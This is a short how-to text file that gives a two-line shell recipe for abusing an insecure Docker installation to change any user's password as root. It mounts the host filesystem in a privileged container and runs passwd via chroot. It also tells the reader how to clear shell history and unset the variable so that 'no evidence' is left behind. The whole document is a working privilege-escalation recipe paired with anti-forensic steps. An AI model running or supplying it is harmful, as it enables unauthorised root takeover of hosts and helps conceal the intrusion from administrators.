Use an insecure docker installation to force change your password as root, without exposing how.

docker-passwd.txt

1. Copy and paste the two lines below, followed by CTRL-D to force change your passwd on an insecure docker installation:

export X=$(cat); eval $X
ID=user_id docker run -ti --rm --privileged --name passwd --hostname passwd -v /:/rooted alpine sh -c "chroot /rooted passwd $ID" ; unset X

2. To clean up the command line history, use:

up-arrow, CTRL-U, down-arrow, ENTER


How it works:

When the "X" variable is created, it waits for input from the tty to the "$(cat)" command before exporting it.
Then the contents of the variable get evaluated.
This results in docker being run, prompting the user to change the password for "ID", then the "X" variable gets unset, leaving no evidence of it happening.